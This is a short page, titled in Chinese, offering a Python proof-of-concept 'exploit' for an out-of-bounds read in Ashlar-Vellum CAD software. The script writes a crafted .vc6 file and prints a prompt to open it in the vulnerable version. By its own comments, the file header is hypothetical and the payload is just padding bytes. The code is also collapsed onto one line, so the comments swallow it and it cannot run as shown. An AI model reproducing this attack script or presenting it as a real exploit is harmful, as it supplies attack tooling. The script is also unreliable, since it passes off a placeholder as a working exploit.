CVE-2025-65087 Ashlar-Vellum越界读取漏洞

import struct # This is a conceptual PoC for CVE-2025-65087. # It generates a malformed VC6 file to trigger the Out-of-Bounds Read. # The specific header or structure manipulation depends on the file format specification. def generate_malicious_vc6(filename): """Generates a potentially malicious VC6 file.""" # Standard VC6 header (hypothetical structure for demonstration) header = b"VC6_FILE_FORMAT" # Malicious data section designed to trigger overflow/bounds issue # Attempting to force a read beyond the allocated buffer size malicious_payload = b"A" * 10000 # Construct the file with open(filename, "wb") as f: f.write(header) f.write(malicious_payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Attempt to open this file in the vulnerable version of Ashlar-Vellum software.") if __name__ == "__main__": generate_malicious_vc6("exploit_vc6.vc6")